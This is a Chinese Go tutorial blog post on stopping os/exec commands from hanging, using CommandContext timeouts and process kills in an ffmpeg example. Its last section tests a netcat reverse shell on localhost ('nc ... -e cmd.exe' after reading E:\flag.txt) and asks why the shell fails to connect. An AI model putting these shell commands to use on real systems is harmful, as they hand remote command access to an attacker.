Go的os/exec執(zhí)行超時導(dǎo)致程序死機(jī)的解決方案
1.cmd執(zhí)行命令
先看一個簡單的命令執(zhí)行代碼
import ( "fmt" "os/exec" ) func main() { cmd := exec.Command("cmd", "/c", "dir C:\\Users\\ASUS\\Desktop\\新建文件夾") output, err := cmd.Output() if err != nil { fmt.Println(err) fmt.Println(" command failed:", string(output)) } fmt.Println(" command success:", string(output)) }
執(zhí)行輸出結(jié)果,代碼沒問題,但出現(xiàn)命令執(zhí)行超時,提前返回的結(jié)果,有時會卡住程序,這是我們可以用exec.CommandContext函數(shù)來設(shè)置一個超時時間
2.CommandContext設(shè)置超時
下面代碼時用ffmpeg獲取視頻時間的操作,這是一個很需要時間的命令
func GetMP4Duration(filePath string) (int, error) { // 構(gòu)建 FFmpeg 命令 ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second) defer cancel() cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL") // 執(zhí)行命令并捕獲輸出 output, err := cmd.CombinedOutput() if err != nil { return 0, err } // 解析輸出以獲取時長 durationStr := extractDuration(string(output)) if durationStr == "" { return 0, fmt.Errorf("Failed to extract duration from FFmpeg output") } // 將時長字符串轉(zhuǎn)換為秒數(shù) duration, err := parseDuration(durationStr) if err != nil { return 0, err } return int(duration), nil }
這只是一個設(shè)置超時時間程序
3.程序繼續(xù)死機(jī)
當(dāng)我以為這樣就可以萬事大局時,但是還是發(fā)生的死機(jī),這時時需要調(diào)用系統(tǒng)命令去結(jié)束。
下面cmd.Process.Signal(syscall.SIGINT)
是windows上調(diào)用
func GetMP4Duration(filePath string) (int, error) { // 構(gòu)建 FFmpeg 命令 ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second) defer cancel() cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL") go func() { <-ctx.Done() if ctx.Err() == context.DeadlineExceeded { fmt.Println("Context done due to timeout. Killing process...") cmd.Process.Signal(syscall.SIGINT) //或者cmd.Process.Kill() } }() // 執(zhí)行命令并捕獲輸出 output, err := cmd.CombinedOutput() if err != nil { return 0, err } // 解析輸出以獲取時長 durationStr := extractDuration(string(output)) if durationStr == "" { return 0, fmt.Errorf("Failed to extract duration from FFmpeg output") } // 將時長字符串轉(zhuǎn)換為秒數(shù) duration, err := parseDuration(durationStr) if err != nil { return 0, err } return int(duration), nil }
這樣確保程序出現(xiàn)錯誤時,不會卡死。
4. 當(dāng)我們給出反彈sh時,超時會不會導(dǎo)致sh失效
go執(zhí)行多條命令的寫法,當(dāng)我使用上面的寫法不會執(zhí)行多條命令
cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
func shtest() { //nc -lvp 777 //nc 127.0.0.1 777 -e c:\windows\system32\cmd.exe //ffmpeg -i F:\測試專用\視頻\065.mp4 |nc 127.0.01 -f null NUL // filePath := `F:\測試專用\視頻\065.mp4` ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) defer cancel() //-threads 5 -preset veryfast //ffmpeg -i "1.成都“不用咬全靠吸”的蹄花,裹滿辣椒水太滿足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null //ffmpeg -i "1.成都“不用咬全靠吸”的蹄花,裹滿辣椒水太滿足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null // "echo 'hello' && echo 'hi'" type E:\\flag.txt //cmd := exec.CommandContext(ctx, "ffmpeg", "-i", filePath, "-f", "null", "NUL & echo 'hello' && echo 'hi'") //cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'") cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && nc 127.0.0.1 666 -e cmd.exe") sr := "" for _, v := range cmd.Args { sr += v + " " } fmt.Println(sr) go func() { <-ctx.Done() if ctx.Err() == context.DeadlineExceeded { fmt.Println("Context done due to timeout. Killing process...") cmd.Process.Signal(syscall.SIGINT) } }() // 執(zhí)行命令并捕獲輸出 output, err := cmd.CombinedOutput() fmt.Println(string(output)) if err != nil { fmt.Println(err) } fmt.Println("5555555555") }
但是我sh沒傳出去,已經(jīng)把出戰(zhàn)和入站流量打開。到點(diǎn)還是超時,有誰知道windows的sh到底怎么還可以怎么傳
以上就是Go的os/exec執(zhí)行超時導(dǎo)致程序死機(jī)的解決方案的詳細(xì)內(nèi)容,更多關(guān)于Go os/exec執(zhí)行超時導(dǎo)致死機(jī)的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
Go語言結(jié)合validator包實現(xiàn)表單驗證
在現(xiàn)代?Web?開發(fā)中,表單驗證和錯誤處理是至關(guān)重要的環(huán)節(jié),本文將演示如何使用?Go?語言的?Gin?框架結(jié)合?validator?包,實現(xiàn)高級的表單驗證功能,需要的可以參考下2024-11-11Golang發(fā)送Get和Post請求的實現(xiàn)
做第三方接口有時需要用Get或者Post請求訪問,本文主要介紹了Golang發(fā)送Get和Post請求的實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2024-05-05golang 生成對應(yīng)的數(shù)據(jù)表struct定義操作
這篇文章主要介紹了golang 生成對應(yīng)的數(shù)據(jù)表struct定義操作,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-04-04go語言中基本數(shù)據(jù)類型及應(yīng)用快速了解
這篇文章主要為大家介紹了go語言中基本數(shù)據(jù)類型應(yīng)用詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-07-07初探Golang數(shù)據(jù)結(jié)構(gòu)之Slice的使用
在學(xué)習(xí)Go語言時,一直對數(shù)組和切片的使用場景好奇,不明白為什么推薦使用切片來代替數(shù)組,所以本文就來和大家梳理一下Slice切片的相關(guān)知識吧2023-09-09